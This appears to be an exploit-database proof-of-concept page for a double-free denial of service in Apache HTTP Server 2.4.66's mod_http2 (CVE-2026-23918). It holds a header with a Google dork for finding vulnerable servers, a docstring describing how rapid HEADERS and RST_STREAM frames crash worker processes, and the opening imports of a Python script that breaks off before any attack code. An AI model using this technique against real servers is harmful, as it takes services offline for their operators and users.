Apache HTTP Server 2.4.66 – 'mod_http2' Double-Free Denial of Service
Proof of Concept (PoC)
poc.py
# Exploit Title: Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service
# Google Dork: intext:"Apache/2.4.66" "HTTP/2"
# Date: 2026-05-06
# Exploit Author: xeloxa (https://github.com/xeloxa/) <[email protected]>
# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz
# Version: 2.4.66
# Tested on: Debian / Ubuntu
# CVE : CVE-2026-23918
"""
CVE-2026-23918 - Apache mod_http2 Double-Free PoC
Quick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition
in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,
you can trigger a double-free and crash the worker.
Author: xeloxa (https://github.com/xeloxa/) <[email protected]>
Found by: Bartlomiej Dmitruk & Stanislaw Strzalkowski
"""
import argparse
import json
import os
import signal
import socket
import ssl
import sys
import threading
import time
from collections import defaultdict
from dataclasses import dataclass, field
from datetime import datetime
from typing import Dict, List, Optional, Tuple
# ---------------------------------------------------------------------------
# Dependency Check
# ---------------------------------------------------------------------------
try:
import h2.config
import h2.connection
import h2.events
HAS_H2 = True
except ImportError:
HAS_H2 = False
# ---------------------------------------------------------------------------
# ANSI Colors (for terminal output)
# ---------------------------------------------------------------------------
class Color:
RED = "